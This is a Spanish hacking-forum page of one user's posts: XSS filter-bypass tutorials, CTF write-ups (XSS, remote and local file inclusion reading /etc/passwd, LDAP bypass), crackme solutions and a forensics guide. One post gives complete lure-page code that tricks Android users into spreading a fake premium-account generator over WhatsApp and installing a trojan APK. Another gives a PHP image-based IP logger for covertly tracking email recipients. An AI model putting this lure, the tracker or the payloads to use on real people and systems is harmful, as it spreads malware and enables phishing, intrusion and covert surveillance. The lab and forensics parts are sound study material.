Podemos proseguir, en este caso cuando detecta unas comillas le añade el caracter "\" bloqueando que se abran y se cierren strings, por lo que la técnica de poner algo en medio no nos valdría, ya que sería todo eliminado. A esta técnica de filtrar se le llama "Magic Quotes". Tambien se puede dar el caso de que elimine todo lo que hay dentro de las comillas incluidas estas. Veamos el código.

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 5</title>
</html>
<body>
<form action="xss5.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
echo addslashes($texto);


?>

</body>

Veamos lo que pasa si enviamos nuestro script mágico.



Para saltar esto y podes añadir Strings lo haremos de la siguiente forma:

- <script>alert(String.fromCharCode(88,83,83))</script> || De esta forma se crea un String con los valores introducidos dentro de la tabla char.

Podemos ver la lista de valores aquí: You are not allowed to view links. Register or Login

Veamos si de esta forma nos salta la alerta.



Veamos un nuevo filtro, ahora nos va a eliminar los parentesis, para que no podamos llamar a funciones en javascript, el código quedaría así:

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 6</title>
</html>
<body>
<form action="xss6.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
$banned = array('('')');
$texto str_ireplace($banned""$texto);

echo $texto;


?>

</body>

Y quedaría así cuando intentamos con nuestro truco principal.



Primero vamos a ver como quedaría el filtro y después vemos como funciona:

- <iframe src="data:text/html, %253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2522%2558%2553%2553%2522%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e"></iframe>

Lo primero que tenemos es la etiqueta iframe, esta etiqueta sirve para cargar contenido exterior con el atributo src, viene de source y está pidiendo el enlace de donde cargamos el contenido.

Dentro de esta etiqueta tenemos data:text/html, aquí estamos diciendo que la información que le vamos a pasar información de tipo html, este acepta la codificación URL encode.

Esta codificación se usa en los navegadores para pasar información, y consta de un "%" y un número hexadecimal.
Podemos ver la tabla hexadecimal aquí: You are not allowed to view links. Register or Login
También podemos usar esta herramienta poniendo % como limitador.
You are not allowed to view links. Register or Login

Si codificamos <script>alert("XSS")</script> a URL encode quedaría de la siguiente forma:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e

El problema es que si lo ponemos así en el navegador este lo transformará a texto normal, por eso vamos a hacer una nueva codificación con este sistema, así al navegador transformarlo quedará como lo acabamos de enseñar que es como nos interesa. Quedando así:

25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%32%32%25%35%38%25%35%33%25%35%33%25%32%32%25%32%39%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65

A esta técnica se le conoce como doble URL encode. Veamos si nos salta la alerta.



Por último vamos a ver como podríamos byppas como podríamos hacer un bypass de un htmlentities. Partiremos del siguiente código.

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 7</title>
</html>
<body>
<form action="xss7.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
echo '<script>var a="' htmlentities($texto) . '";document.write(a);</script>';

?>

</body>

Veamos que pasa si introducimos el script que hemos estado usando todo el rato.



Para byppasear esto lo haríamos de dos formas diferentes, primero las veremos y luego las explicamos.

- \x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e
- \u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0058\u0053\u0053\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e

Javascript tiene varias formas de introducir caracteres, y es la propia consola la que lo transforma. Además esto son carácteres que el htmlentities no filtra.
Por eso al pasarlo por document.write() esto se escribe de una forma normal y se ejecuta. Este filtro para htmlentities solo se podría usar en casos como este.

En el primer caso lo estamos guardando como hexadecimal, con el limitador \x, podemos hacerlo con la misma herramienta de antes.

En el segundo caso lo que estamos guardando son carácteres unicode, con el limitador \u00. Podemos ver la lista de carácteres unicode aquí: You are not allowed to view links. Register or Login

Y podemos usar esta herramienta poniendolo en C/C++ source para hacerlo más rápido: You are not allowed to view links. Register or Login

Veámos si salta la alerta.



Bueno chicos, por hoy hemos terminado, las XSS tienen el plus de ser una vulnerabilidad muy divertida por tener mucho juego, esto son solo unas técnicas mas o menos comunes, pero ya verán que con esto tendrán que jugar y mezclar las diferentes técnicas o reinventarlas.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.


5
Hacking / Propagación de Malware en Android a través de Whatsapp
« en: Febrero 01, 2018, 03:19:44 pm »
Muy buenas Underc0ders,

hoy quería mostrar una técnica que llevo viendo mucho tiempo, en la cual se difunde algo con ingeniería social y forzándote a enviar Whatsapp para poder utilizar alguna herramienta, y así poder mostrarte publicidad. En este caso en lugar de mostrar publicidad vamos a hacer que la víctima descargue una aplicación maliciosa, para estoy yo voy a configurar un troyano con You are not allowed to view links. Register or Login.



Yo además de esto he creado una interfaz gráfica para poder engañar al usuario, simulando un generador de cuentas premium tanto en Netflix como en Spotify.



Una vez hecho esto vamos a crear una página donde indique como descargar y usar esta aplicación, al ser una infección en Android tendremos que decirle al usuario que active la opción de aceptar apk's externas a Google Play. Así ha quedado en mi caso.

estilo.css

Código: (css) You are not allowed to view links. Register or Login
body{
background-color: black;
}

h1{
color: white;
font-family: 'PT Sans';
}

h2{
color: red;
font-family: 'PT Sans';
}

h3{
color: white;
font-family: 'PT Sans';
}

p{
color: white;
font-family: 'PT Sans';
}


.boton_1{
    text-decoration: none;
    padding: 3px;
    padding-left: 10px;
    padding-right: 10px;
    font-family: helvetica;
    font-weight: 300;
    font-size: 25px;
    font-style: italic;
    color: #006505;
    background-color: #82b085;
    border-radius: 15px;
    border: 3px double #006505;
}
.boton_1:hover{
    opacity: 0.6;
    text-decoration: none;
}

instalacionAndroid.html

Código: (html5) You are not allowed to view links. Register or Login
<html>
<head>
<title>Instalar Generador de cuentas Spotify/Netflix para Android</title>
<link REL="StyleSheet" href="estilo.css" type="text/css" MEDIA="screen">
</head>
<body>
<div align="center">
<h1>GUIA DE USO GENERADOR DE CUENTAS PREMIUM</h1>
<h2>Usar la aplicación generadora de cuentas Premium para Spotify y para Netflix es muy sencillo.</h2></br><p>
- PASO 1: Elegir en qué plataforma quiere crear la cuenta.</br></br>
- PASO 2: Añadir el usuario y contraseña que quiera usar.</br></br>
- PASO 3: Pulsar el botón dado para crear la cuenta.</br></br>
- PASO 4: Esperar varios minutos.</br></br>
- PASO 5: Entrar con dicho usuario y contraseña en la plataforma elegida.</br></br></p>

<img src="ImagenRegistro.png">
<h1>GUIA INSTALACION GENERADOR DE CUENTRAS PREMIUM</h1>
<h2>Para instalarlo deberás aceptar aplicaciones no provenientes de Google Play en tu móvil.</h2></br>
<p>
- PASO 1: Dirigete a la configuración de tu móvil.</br></br>
- PASO 2: Dirigete al submenú Seguridad / Aplicaciones.</br></br>
- PASO 3: Activa la opción "Fuentes desconocidas".</br></br>
<img src="http://img-17.ccm2.net/PoRKJZp-i7i9B_VAXJZ1C8gmofk=/2bd3dffc46954811a306b181e203cf9e/ccm-faq/itar-fuentes-desconocidas-android-s-.png"></br></br>
- PASO 4: Descarga la aplicación de este <a href="programaMalicioso.apk">link</a> y empieza a utilizarla.
</p>
</div>
</body>
</html>





El siguiente paso sería hacer la página que nos obligará a compartir el enlace y una vez compartido nos dará permiso para ir a lo que hicimos anteriormente, y así podran descargar nuestro "generador de contraseñas premium". Les dejo el código y a continuación lo voy explicando por partes.

index.php

Código: (php) You are not allowed to view links. Register or Login
<html>
<head>
<title>COMPARTA LA APLICACION</title>
<link REL="StyleSheet" href="estilo.css" type="text/css" MEDIA="screen">
<script>
<?php
 
include('Mobile-Detect/Mobile_Detect.php');
$detect = new Mobile_Detect();
 
if ( 
$detect->isAndroidtablet() ) {
$an 1;
} elseif( 
$detect->isAndroid() ) {
$an 1;
} else{
$an 0;
}

echo 
'
var an = '
.$an.';
'
?>


var compartido = 0;
function compartir(){
compartido++;
document.getElementById("comp").innerHTML = compartido;
window.open("https://api.whatsapp.com/send?text=Aplicacion%20generadora%20de%20cuentas%20Premium%20totalmente%20gratuita.%20Funcional%20en%20NETFLIX%20y%20Sporify.%20Descarga%20ahora%20en:%20192.168.1.37/index.php");
}
function descargar(){
if (compartido >= 5){
location.href = "instalacionAndroid.html";
}
else{
alert("No ha compartido la herramienta suficientes veces.");
}
}
</script>
<script>
function comprobar(){
if(an != 1){
document.getElementById("body").innerHTML = "";
alert("La aplicación es solo para Android");
}
}
</script>
</head>
<body onload="comprobar()" id="body">
<div align="center">
<h1>Para poder descargar la aplicación debe compartirla 5 veces por Whatsapp</h1>
<h2>Veces compartida</h2> <h2 id="comp">0</h2>
<button class="boton_1" onclick="compartir()">Compartir Por Whatsapp</button></br></br>
<button class="boton_1" onclick="descargar()">Descargar aplicación</button></br></br>
<img src="ImagenRegistro.png">
</div>
</body>
</html>

Bien, ahora vemos por partes. Lo primero que tenemos que entender es esto:

Código: (php) You are not allowed to view links. Register or Login
include('Mobile-Detect/Mobile_Detect.php');
$detect = new Mobile_Detect();
 
if ( $detect->isAndroidtablet() ) {
$an = 1;
} elseif( $detect->isAndroid() ) {
$an = 1;
} else{
$an = 0;
}


Lo que hace esto es comprobar si estamos utilizando Android u otro sistema operativo, y de ahí crea una variable que pasa a JavaScript, que luego utilizaremos para que la página se comporte de una forma u otra dependiendo de donde se esté corriendo.

Para ello he incluído una librería que podéis encontrar You are not allowed to view links. Register or Login.

Código: (javascript) You are not allowed to view links. Register or Login
function comprobar(){
if(an != 1){
document.getElementById("body").innerHTML = "";
alert("La aplicación es solo para Android");
}
}

Esta parte comprueba que la página se está visualizando desde un Android, en caso contrario manda una alerta y no muestra nada.



Código: (javascript) You are not allowed to view links. Register or Login
var compartido = 0;
function compartir(){
compartido++;
document.getElementById("comp").innerHTML = compartido;
window.open("https://api.whatsapp.com/send?text=Aplicacion%20generadora%20de%20cuentas%20Premium%20totalmente%20gratuita.%20Funcional%20en%20NETFLIX%20y%20Sporify.%20Descarga%20ahora%20en:%20192.168.1.37/index.php");
}
function descargar(){
if (compartido >= 5){
location.href = "instalacionAndroid.html";
}
else{
alert("No ha compartido la herramienta suficientes veces.");
}
}

Esta parte crea dos funciones, la primera es la que te hace compartir el mensaje por whatsapp, además tiene un contador que se va actualizando cada vez que compartes.

La segunda sirve para descargar, comprueba si lo has compartido las suficientes veces y en caso positivo te redirecciona al lugar donde puedes descargar la aplicación.

Para compartir la aplicación por Whatsapp se usa el siguiente link, donde texto es el texto del mensaje que deberán enviar.

You are not allowed to view links. Register or Login

Una vez hecho esto veamos como quedaría.



Vemos que al darle al compartir nos manda a Whatsapp para enviar el mensaje de la siguiente forma.







Al compartir y volver veremos que el contador ha aumentado, entonces al llegar a 5 podremos descargar nuestra aplicación, en caso de pulsar el otro botón antes de haber compartido 5 veces nos saldrá una alerta y no nos dejará.



Ya estaría todo hecho, sé que esto se podría hacer mucho mejor, pero así es la idea básica de como funcionaría, si alguien quiere aportar código bienvenido es.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

6
Off Topic / Compartan sus trolleadas.
« en: Enero 07, 2018, 10:21:29 pm »
Muy buenas Underc0ders,

la idea de este post es que compartan imagenes y todo lo que tengan de trolleadas que hayan hecho o hayan visto por internet para así podemos reírnos entre todos.

A ver quien es el primero que se atreve a generar un rato de risa por aquí.

Saludos.

7
Soluciones de Wargames / Resolviendo Crackme con Retdec
« en: Enero 05, 2018, 11:59:08 am »
Muy buenas Underc0ders,

este es el tercer post que escribo en el que resuelvo un crackme, y en ninguno de ellos he utilizado nada de reversing, ya que es un tema que aún tengo muy flojo, pero está bien ver formas alternativas, aquí podeis ver los otros dos a los que me refiero.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Bueno, ¿qué mas ideas me quedan? pues hoy vamos a decompilar el ejecutable, seguro que ya conoceis algunos decompiladores para lenguajes como C# o JAVA, y pensais que si el ejecutable está programado, por ejemplo en C, no se puede obtener el código fuente, me toca decir que aunque en principio debería ser así se le puede sacar una puntillita.

Hoy vamos a ver una herramienta llamada retdec que hará justo esto que nosotros queremos, retdec es una herramienta muy potente y open source que nos permitirá hacer esto que nosotros queremos. Fue desarrollada por el equipo de AVAST para poder practicar reversing al malware de una forma más sencilla.

Todo lo que necesitamos para descargarlo y compilarlo está You are not allowed to view links. Register or Login, además de una guía de instalación, así que no gastaré tiempo en esto.

Yo voy a partir de un ejecutable compilado con C para Linux de 32 bits, el cuál se llamará a.out.



Vamos a ejecutarlo a ver como funciona.



Tiene un proceso simple, introducimos la contraseña y nos dice si es correcta o incorrecta, ahora vamos a probar a decompilarlo a ver que nos devuelve esta herramienta.

Código: (bash) You are not allowed to view links. Register or Login
decompile.sh a.out


Vemos que nos ha creado un archivo llamado a.out.c, así que le vamos a imprimir por pantalla a ver que nos dice.
Código: (bash) You are not allowed to view links. Register or Login
cat a.out.c


Vemos que basicamente comprueba que el valor introducido sea 725, y ya dependiendo de eso dice si la password está bien o es erronea, veamos si es así realmente en el binario compilado.



Ya estaría completado, el código que use para el CrackMe es el siguiente.

Código: (c) You are not allowed to view links. Register or Login
#include <stdio.h>
     
int main(){
           
int password2;
int password = 725;
           
scanf("%d", &password2);
           
if(password == password2){
printf("Password Correcta");
}
else{
printf("Password Incorrecta");
}
     
}

Podemos ver que el código es parecido pero no es exactamente el mismo, la cuestión es que nos ha sacado un código comprensible a partir de un binario y hemos podido evitar hacer procesos más complejos con alguna herramienta como IDA o OllyDBG.

Espero que les haya gustado y servido.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

8
Informática Forense / Recuperando Información con Scalpel
« en: Noviembre 20, 2017, 11:25:24 pm »
Muy buenas Underc0ders,

en el día de hoy vamos a ver como consistiría el proceso de recuperación de información cuando se ha borrado información de nuestra máquina que no queríamos perder.


En primer lugar me gustaría dar créditos a You are not allowed to view links. Register or Login ya que descubrí esta herramienta en el taller que dio sobre análisis de ransomware en Qurtuba donde dio algo de información sobre esto..

Primero que nada veamos un poco de teoría. La herramienta que vamos a ver hoy usa una técnica llamada File Carving.
Cuando nosotros borramos algún archivo en realidad no lo estamos borrando, lo que ocurre es que le estamos diciendo al disco que esos segmentos están vacíos, la técnica de la que estamos hablando lo que haría sería buscar en todos los segmentos que se suponen vacíos para ver si ahí hay algo de información.


Una vez entendido lo que vamos a hacer, podemos pasar a la práctica, lo primero que vamos a hacer será descargar las dos siguientes herramientas:

FTK: You are not allowed to view links. Register or Login
Scalpel: You are not allowed to view links. Register or Login

Scalpel es una herramienta que se puede utilizar tanto en linux como en windows, la única diferencia es que en Windows no puede analizar el disco, si no que tiene que analizar una imagen del disco, de ahí que vayamos a usar FTK para conseguir esta imagen.

En mi caso voy a sacar la información de un pendrive de dos GB (para que la imagen del disco no pese mucho), donde he metido y mas tarde eliminado unas imágenes.

Creando imagen con FTK

Lo primero que vamos a hacer es pulsar el botón de "add evidence item" y elegiremos "Logical Drive".



Elegimos el Disco, en mi caso el F:


Daremos click derecho al disco y pulsaremos "Export Disk Image".


Configuramos donde y como queremos que se guarde la imagen.




Una vez hecho esto y presionado start empezará a crear la imagen.



Obteniedo la información con Scalpel

Una vez hecho esto ya podemos proceder a buscar la información, lo primero que vamos a hacer es comprobar como funciona este programa, para ello vamos a hacer: "scalpel -h"


Lo primero que queda claro es que la sintaxis es: scalpel -opcion1 - opcion2 imagen

Las opciones más interesantes son las siguientes:

-c : Sirve para elegir el archivo de configuración. (de serie es scalpel.conf)

-o : Sirve para elegir la carpeta donde se mandará la información. (de serie es scalpel-output)

-v : Sirve para entrar en el verbose mode.


En el archivo de configuración predeterminado trae muchas opciones para buscar gran cantidad de ficheros diferentes, solo tendríamos que ir a dicha sección y borrar '#' para que dejase de ser un comentario.


Para añadir una nueva regla sería de la siguiente forma:

'extension' y 'tamaño' 'header' 'EOF'

Pueden buscar el header y el EOF de cada tipo de archivo por internet, yo haré un archivo de configuración que saque todas las imagenes.


Y lanzamos el programa hacia la imagen: scalpel -o outputDrive -c configuracio.conf "C:\Users\xxxx\Desktop\xxxx\xxxx\ImagenDisco\imagen.002"

Una vez lanzado empezará a buscar estos archivos y nos los meterá en la carpeta que le hemos dicho.


En la carpeta que hemos pasado como parámetro habrá varias carpetas con los diferentes archivos que habrá recuperado, y por fin hemos encontrado aquello que andáramos buscando.



Espero que les sea de utilidad.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

9
Soluciones de Wargames / Despiezando Crackme Underc0de
« en: Octubre 25, 2017, 10:38:20 pm »
Muy buenas Underc0ders.

Hoy me gustaría dar unos tips para resolver el crackme que se propuso para el You are not allowed to view links. Register or Login.
También aconsejo leer este post sobre resolución de Crackme's: You are not allowed to view links. Register or Login

Primero vamos a descargar PEview, el cual podemos encontrar en este link: You are not allowed to view links. Register or Login
Este software nos permite ver la estructura y el contenido de ejecutables de 32 bits.

Aquí podremos encontrar varias secciones (.idata .rdata .rsrc), en este caso nos interesaremos por la sección .text, la cual nos entrega la información de las instrucciones de nuestro ejecutable.
 
Aquí podremos encontrar algo de información que nos resultará interesante.



De aquí obtenemos que el ejecutable  se ha programado con Visual Basic, además de unos datos que probaremos como usuario y contraseña.



Dice que para acabar el reto tendremos que hashear nuestro nick en Sha1, y nos da un link, en mi caso el resultado sería
6a9fe8a92da14c7dc12c865e8459e416fe500958

Es algo corto ya que el reto era sencillito pero espero que pueda servir.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.


10
Hacking / Obtener IP de un correo.
« en: Septiembre 25, 2017, 11:27:18 pm »
Como en muchos casos la gente pregunta como conseguir la IP de un correo creo que es el momento de enseñar una técnica que podrán usar, efectiva y que no es sospechosa.

Lo que vamos a hacer es un IpLogger en PHP, solo que en esta ocasión en lugar de esperar que hagan click, haremos que devuelva una imagen, de esta forma la podremos cargar en el correo y obtener la IP sin necesidad de que el usuario haga click en ningún link. Este sería el código que vamos a usar:

Código: (php) You are not allowed to view links. Register or Login
<?php

// IpLogger

$datos "Fecha: " date('Y-m-d H:i:s') . " - IP: $_SERVER[REMOTE_ADDR] - UserAgent: $_SERVER[HTTP_USER_AGENT] ";
$archivo fopen("datos.txt""a");
$fw fwrite($archivo"$datos\n");
fclose($archivo);

// Devuelve imagen

$imagen file_get_contents('https://url.es/imagen.jpg');  // Aquí pondrán la imagen que quieran que aparezca.

header('Content-type: image/jpeg;');
header("Content-Length: " strlen($imagen));
echo 
$imagen;

?>


Para hacer que nos envíe la IP tan solo habría que usar la etiqueta <img src="You are not allowed to view links. Register or Login"> en el correo. En caso de usar Gmail la imagen también se puede cargar desde url.

(En cualquier WEB que pongan la etiqueta y entre alguien también mandará su IP).

Esto funciona como un CSRF, pueden leer You are not allowed to view links. Register or Login un tutorial.

Cuando el navegador lee la etiqueta <img src=""> este manda una petición GET para analizar cual es la imagen que devuelve esa url, al ser un código PHP este se ejecuta y después devuelve la imagen que es la que se va a mostrar en nuestro navegador.
 


Veamos como quedaría el mail recibido.



Y así quedarían los logs dentro de nuestro dominio.



En mi caso también me devuelve IPs de Google ya que envié el correo por Gmail y usé la opción de obtener imagen por URL.

Espero que les sea de utilidad.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

11
Off Topic / Entrevista a ANTRAX
« en: Septiembre 03, 2017, 12:36:50 am »
Desde HDC hemos realizado una entrevista a ANTRAX, como administrador de Underc0de que estoy seguro que será muy interesante para muchos de vosotros, pueden verla aquí.


12
Soluciones de Wargames / Resolviendo CrackMe con Pipes
« en: Mayo 30, 2017, 11:26:23 pm »
Muy buenas a todos Underc0ders!

Hoy voy a hacer una prueba de concepto de una resolución de un posible Crackme usando Pipes, esta es una "funcionalidad" que nos aportan los sistemas operativos que nos sirve para comunicar varios procesos entre ellos.

Bueno vamos a empezar ejecutando el crackme y viendo que nos responde.


Como podemos ver no nos pide una respuesta así que supondremos que la contraseña hay que pasarla como valor al iniciar el programa, además parece que la contraseña es en formato numérico, por lo tanto lo que vamos a hacer es un programa en C que a través de Pipes vaya lanzando números hasta que de con la contraseña correcta.

Código: (c) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <windows.h>

int prueba(int valor){

// Ruta del programa y otros valores

char programa[100] = "cmd /c \"C:\\Users\\roll_\\Desktop\\CrackMe 1.0.exe\" ";
char numero[10];
itoa(valor ,numero, 10);

strcat(programa, numero);

char respuesta[10024];

// Borro el buffer

memset(respuesta, 0, sizeof(respuesta));

// Atributos necesarios

SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;

// Punteros de lectura y escritura

void * lectura;
void * escritura;

// Creamos pipe e iniciamos el proceso

sa.bInheritHandle = TRUE;

CreatePipe(&lectura, &escritura, &sa, 0);

si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = escritura;
si.hStdError = escritura;
si.hStdInput = lectura;

CreateProcessA(0, programa, 0, 0, TRUE, 0, 0, 0, &si, &pi);;

// Comprobamos si se ha acertado

ReadFile(lectura, respuesta, 10024, 0, 0);

if(strcmp(respuesta, "Password Incorrecta") != 0 && strcmp(respuesta, ("Introducir valor numerico"))){
printf("%s %d\n", respuesta, valor);
return 1;
}
printf("%s %d\n", respuesta, valor);
return 0;

}

int main(){

// Bucle para hacer la prueba

int i = 0;

while(prueba(i) != 1){

i++;

}

Sleep(100000);

}

Tras ejecutar el programa veremos que en pocos segundos nos sacará la contaseña.


Es un concepto sencillo pero creo que puede ser interesante, se podría ampliar más pero creo que queda claro el concepto.

Por último dejo el código del crackme :D

Código: (c) You are not allowed to view links. Register or Login
#include <stdio.h>

int main(int argc, char *argv[]){

int password2;
int password = 725;

password2 = atoi(argv[1]);

if (password2 == 0){
printf("Introducir valor numerico");
}
else if(password == password2){
printf("Password Correcta");
}
else{
printf("Password Incorrecta");
}

}


También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.



13
Otros lenguajes / Primeros pasos con Cramel
« en: Febrero 21, 2017, 11:29:03 pm »



Cramel es un nuevo lenguaje de programación creado por @You are not allowed to view links. Register or Login y auspiciado por Underc0de que tiene la intención de ser el primer lenguaje con sintaxis en Castellano y diseñado para ser claro y potente.

Aquí os vamos a enseñar cuáles son los primeros pasos que debemos dar para programar en Cramel

Instalar compilador y Notepad++

Lo primero que vamos a hacer es descargar la última versión del compilador de You are not allowed to view links. Register or Login.

Se nos descargará un ZIP el cual vamos a extraer, y nos quedará de la siguiente forma.



"La carpeta programas no debería de salir."

Una vez hecho esto vamos descargar Notepad++ de You are not allowed to view links. Register or Login y vamos a instalarlo. Esto se debe a que aún no hay ningún IDE desarrollado para Cramel y por lo tanto vamos a usar Notepad++ para poder distinguir bien la sintaxis.

Instalar resaltador de Sintaxis y Tabulaciones

Lo que vamos a hacer ahora es descargar un archivo XML y lo configuraremos para que Notepad++ nos resalte la sintaxis de Cramel.
Para ello vamos a descargar el archivo de You are not allowed to view links. Register or Login. Para configurarlo vamos a abrir Notepad++ y vamos a "idioma >> defina su idioma".

Ahí vamos a importar el archivo XML que hemos descargado y le daremos a guardar como, lo guardaremos como Cramel3.



Ahora dentro de la pestaña idioma podremos seleccionar Cramel3 y podremos ver la sintaxis del lenguaje.



Además de esto tendremos que hacer que cuando tabulemos nos sustituya por cuatro espacios, ¿a qué se debe esto? por compatibilidad con editores de texto y HTML Cramel solo acepta las tabulaciones como si fueran 4 espacios, para que se nos sustituya cuando pongamos una tabulación vamos a "Configuración >> Preferencias >> Idioma" y tildamos la sustitución de tabulaciones.



Los archivos de código en Cramel son archivos con extensión .cml, vamos a ir a la carpeta de ejemplos, daremos click derecho en el archivo "Hola Mundo.cml" y le daremos a propiedades, cambiaremos la aplicación con la que se abrirá por Notepad++ para finalmente tenerlo todo preparado.




Compilando nuestro primer código

Una vez hecho todo esto podremos crear y compilar nuestras primeras aplicaciones, dentro de la carpeta de ejemplos tenemos varios ejemplos de códigos en el lenguaje de Programación Cramel, veamos "Hola Mundo.cml".



Para compilarlo tendremos que hacerlo a través de la consola de comandos. Podemos ver las diferentes opciones que tiene el compilador You are not allowed to view links. Register or Login.

Para compilar el primer ejemplo "Hola Mundo.cml" vamos a usar el siguiente comando.

Código: You are not allowed to view links. Register or Login
Compilador.exe /f "Ejemplos/Hola Mundo.cml" /d "Ejemplos/Hola Mundo.exe"
Si no pusiéramos la opción /d nos crearía al lado del compilador una aplicación llamada App.exe



Proximos pasos

El siguiente paso sería leerse la documentación oficial para aprender a programar, que se puede encontrar You are not allowed to view links. Register or Login.

Además de ello para aprender a programar podemos mirar los códigos de ejemplo, también podemos mirar dentro de la carpeta Libs el archivo APIS.cml que contiene un montón de funciones que podremos usar mientras creamos nuestros programas.





14
Talleres Underc0de / Listado de talleres - UNDERC0DE
« en: Enero 23, 2017, 01:52:44 pm »
A continuación les voy a dejar con el listado de los talleres de Underc0de ordenado por secciones para que sea más sencillo encontrar el taller que les interesa. Talleres creados con la única función de exponer al lector una nueva forma de entenderse con el mundo de la tecnología y de la seguridad informática.





You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login



You are not allowed to view links. Register or Login

15
Soluciones de Wargames / WebForPentesters
« en: Noviembre 14, 2016, 04:28:50 pm »
Muy buenas, en este post voy a mostrar como se podrían resolver los retos de You are not allowed to view links. Register or Login.
Este reto más que de explotar algún tipo de vulnerabilidad sirve para aprender a saltar los filtros típicos. Si no conoces alguna de las vulnerabilidades de los retos puedes mirar los links que dejo.



You are not allowed to view links. Register or Login

Reto XSS 1

Este primero es sencillo y con un simple payload en el parametro name nos saltaría la alerta.
"/xss/example1.php?name=<script>alert(document.domain)</script>"

Reto XSS 2

En este caso hay un filtro que se encarga de eliminar si se encuentra algo que sea: "<script>" o "</script>", por lo tanto vamos a usar mayúsculas.
"/xss/example2.php?name=<sCript>alert(document.domain);</Script>"

Reto XSS 3

Ahora igual que antes elimina cuando encuentra <script>, pero también elimina si ve mayuscula, para ello dentro de la etiqueta meteremos otra etiqueta, así no será capaz de detectar la de fuera, y al borrar la de dentro  saltará la alerta.
"/xss/example2.php?name=<scri<script>pt>alert(document.domain);</scrip</script>t>"

Reto XSS 4

En este si encuentra <script> en lugar de borrarlo, da un error, en este caso vamos a usar una etiqueta HTML y un You are not allowed to view links. Register or Login
"/xss/example4.php?name=<body onload=alert(document.domain)>XSS</body>"

Reto XSS 5

En este caso también filtra la función alert, podemos usar otra diferente pero que haga lo que nosotros queremos. You are not allowed to view links. Register or Login
"/xss/example5.php?name=<body onload=prompt("document.domain")>XSS</body>"

Reto XSS 6

La verdad no se cual es la diferencia con el reto anterior, también funciona el payload anterior.

Reto XSS 7

En este caso el valor que introduzcas se introduce en una variable de javascript: "<script>var $a= 'input';"</script>. Para hacer que salte la alerta solo tenemos que añadirle la función y abrir unas comillas para que las se cierre por el filtro.
"/xss/example7.php?name=a';alert(document.domain); var $b= 'b"

Reto XSS 8

Este es un poco más complicado, la web una función de php que se llama You are not allowed to view links. Register or Login se usa mucho para en un metodo POST escribir en el HTML que donde va a enviar los valores por método POST es así mismo, modificando la URL se puede hacer saltar una XSS.
"/xss/example8.php/"><script>alert(document.domain)</script>"

Reto XSS 9

Este igual, simplemente ponemos el payload después del '#'. Yo no he conseguido que me funcione en versiones actuales de Firefox o de Chrome, solo con ie.

/xss/example9.php#<script>alert(document.domain)</script>





You are not allowed to view links. Register or Login Y You are not allowed to view links. Register or Login

Reto RFI

Yo voy a usar para esto un archivo con el siguiente código:

Código: (php) You are not allowed to view links. Register or Login
<?php 
echo '<p>Hola Mundo</p>'
?>

Esto se sube a un servidor privado y ya podemos pasar el reto.

"/fileincl/example1.php?page=http://prueba.es/a.txt"



Reto LFI

Este reto es muy sencillito, solo vamos a accerder a passwd a través de este payload.
/fileincl/example2.php?page=../../../etc/passwd%00




You are not allowed to view links. Register or Login

Reto LDAP 1

Este reto es sencillito, se valida con los datos que se envian por la URL, esta validación se puede bypassear simplemente no enviando nada.
"/ldap/example1.php"

Reto LDAP 2

En este es igual, ya que no sabemos la contraseñas nos vamos a deshacer de esa petición, para esto vamos a cerrar con %00. Ahora pongamos la contraseña que pongamos nos va a dejar entrar.
"/ldap/example2.php?name=hacker))%00&password=p"




You are not allowed to view links. Register or Login

